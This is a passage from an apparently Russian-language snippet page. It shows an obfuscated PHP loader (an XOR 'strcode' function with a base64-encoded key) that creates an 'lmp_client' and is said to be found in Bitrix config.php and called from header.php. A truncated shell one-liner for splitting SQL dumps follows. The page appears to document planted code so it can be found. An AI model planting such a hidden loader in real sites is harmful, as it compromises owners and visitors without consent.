$this->_stcs[$this->lmp_request_uri]; } } }
Обычно встречается в следующих файлах:
  1. ./bitrix/config.php
Вызывается из файла /bitrix/templates/main/header.php


function strcode($str, $passw="")
{
   $salt = "Dn8*#2n!9j";
   $len = strlen($str);
   $gamma = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($gamma)<$len )
   {
      $gamma .= substr(pack('H*', sha1($passw.$gamma.$salt)), 0, $n);
   }
   return $str^$gamma;
}

    require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/config.php');
    $lmp = new lmp_client(strcode(base64_decode("LVcok7BBKHj04vnojMtd"), 'sdfdserttge'));


     

       print '';  
       print ' ';  

     

Split / разбить dump

//Разбить дамп по 50000 строк for i in `ls *.sql`; do split -d -l 50000 -a 4 --additional-suffix=.sql $i "$(basename "$i" .sq...